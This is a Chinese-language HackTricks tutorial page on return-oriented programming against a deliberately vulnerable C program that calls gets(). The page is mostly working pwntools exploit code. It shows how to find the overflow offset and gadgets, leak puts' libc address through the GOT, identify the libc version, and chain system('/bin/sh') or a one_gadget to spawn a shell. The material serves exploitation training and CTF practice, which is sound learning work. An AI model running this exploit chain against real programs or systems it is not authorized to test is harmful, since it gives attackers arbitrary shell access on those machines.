hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md

13 KiB
Raw Blame History

使用 ROP 泄露 libc 地址

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

快速概述

  1. 找到 溢出 偏移量
  2. 找到 POP_RDI gadget, PUTS_PLTMAIN
  3. 使用之前的 gadgets 泄露 puts 或其他 libc 函数的内存地址找到 libc 版本 (下载它)
  4. 使用库,计算 ROP 并进行利用

其他教程和二进制文件以供实践

本教程将利用本教程中提出的代码/二进制文件:https://tasteofsecurity.com/security/ret2libc-unknown-libc/
另一个有用的教程:https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

代码

文件名:vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - 泄露 LIBC 模板

我将使用这里的代码来制作漏洞利用程序。
下载漏洞利用程序并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- 查找偏移量

模板在继续进行漏洞利用之前需要一个偏移量。如果提供了任何偏移量,它将执行必要的代码来查找它(默认 OFFSET = ""

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

执行 python template.py 将打开一个 GDB 控制台,程序将崩溃。在该 GDB 控制台 中执行 x/wx $rsp 以获取将要覆盖 RIP 的 字节。最后使用 python 控制台获取 偏移量

from pwn import *
cyclic_find(0x6161616b)

在找到偏移量(在这个例子中是 40使用该值更改模板中的 OFFSET 变量。
OFFSET = "A" * 40

另一种方法是使用:pattern create 1000 -- 执行直到 ret -- pattern seach $rsp 从 GEF。

2- 查找 Gadgets

现在我们需要在二进制文件中查找 ROP gadgets。这些 ROP gadgets 将用于调用 puts 以查找正在使用的 libc,并随后 启动最终的利用

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

The PUTS_PLT is needed to call the function puts.
The MAIN_PLT is needed to call the main function again after one interaction to exploit the overflow again (infinite rounds of exploitation). It is used at the end of each ROP to call the program again.
The POP_RDI is needed to pass a parameter to the called function.

In this step you don't need to execute anything as everything will be found by pwntools during the execution.

3- 查找libc库

现在是时候找出正在使用哪个版本的libc库。为此,我们将泄漏内存中函数puts地址,然后我们将搜索该地址中puts版本所在的库版本

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

要做到这一点,执行代码中最重要的一行是:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

这将发送一些字节,直到覆盖****RIP成为可能:OFFSET
然后,它将设置小工具POP_RDI地址,以便下一个地址(FUNC_GOT)将被保存在RDI寄存器中。这是因为我们想要调用puts传递PUTS_GOT地址因为puts函数在内存中的地址保存在指向PUTS_GOT的地址中。
之后,将调用PUTS_PLTRDI中包含PUTS_GOT因此puts将读取PUTS_GOT中的内容(puts函数在内存中的地址)并打印出来
最后,再次调用主函数,以便我们可以再次利用溢出。

通过这种方式,我们已经欺骗了puts函数,使其打印内存puts函数的地址(该函数位于libc库中)。现在我们有了这个地址,我们可以搜索正在使用的libc版本

由于我们正在利用某个本地二进制文件,因此不需要弄清楚正在使用哪个版本的libc(只需在/lib/x86_64-linux-gnu/libc.so.6中找到库)。
但是,在远程利用的情况下,我将在这里解释如何找到它:

3.1- 搜索libc版本1

您可以在网页上搜索正在使用的库:https://libc.blukat.me/
它还允许您下载发现的libc版本。

3.2- 搜索libc版本2

您还可以执行:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

这将需要一些时间,请耐心等待。
为了使其工作,我们需要:

  • Libc符号名称puts
  • 泄露的libc地址0x7ff629878690

我们可以找出最有可能使用的libc

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

我们得到了 2 个匹配(如果第一个不工作,你应该尝试第二个)。下载第一个:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so 中的 libc 复制到我们的工作目录。

3.3- 其他泄露函数

puts
printf
__libc_start_main
read
gets

4- 查找基础 libc 地址与利用

在这一点上,我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件,我将使用:/lib/x86_64-linux-gnu/libc.so.6

因此,在 template.py 的开头,将 libc 变量更改为: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道它时

libc 库 提供 路径 后,剩下的 利用将会自动计算

get_addr 函数内部,libc 的基地址 将被计算:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} 注意 最终的 libc 基地址必须以 00 结尾。如果不是这种情况,您可能泄露了不正确的库。 {% endhint %}

然后,函数 system 的地址和字符串 "/bin/sh"地址 将从 libc基地址 计算得出,并给定 libc 库。

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

最后,将准备发送 /bin/sh 执行漏洞:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

让我们解释这个最终的ROP。
最后的ROProp1)再次调用了主函数,然后我们可以再次利用这个溢出(这就是OFFSET再次出现的原因)。然后,我们想要调用POP_RDI,指向地址 "/bin/sh"BINSH),并调用system函数(SYSTEM),因为 "/bin/sh" 的地址将作为参数传递。
最后,退出函数的地址调用,这样进程正常退出,不会生成任何警报。

这样,利用将执行一个 _/bin/sh_** shell.**

4(2)- 使用 ONE_GADGET

你也可以使用 ONE_GADGET 来获取一个shell而不是使用system和**"/bin/sh"ONE_GADGET将在libc库中找到一些方法仅使用一个ROP地址来获取一个shell。
然而,通常会有一些限制,最常见且容易避免的限制是[rsp+0x30] == NULL。由于你控制着
RSP**中的值你只需发送一些额外的NULL值以避免这个限制。

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

您可以在这里找到利用此漏洞的模板:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

常见问题

MAIN_PLT = elf.symbols['main'] 未找到

如果“main”符号不存在。然后您可以找到主代码的位置

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

并手动设置地址:

MAIN_PLT = 0x401080

Puts未找到

如果二进制文件没有使用Puts您应该检查它是否使用

sh: 1: %s%s%s%s%s%s%s%s: 未找到

如果在创建所有漏洞利用后发现此错误sh: 1: %s%s%s%s%s%s%s%s: 未找到

尝试从“/bin/sh”的地址中减去64字节

BINSH = next(libc.search("/bin/sh")) - 64

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}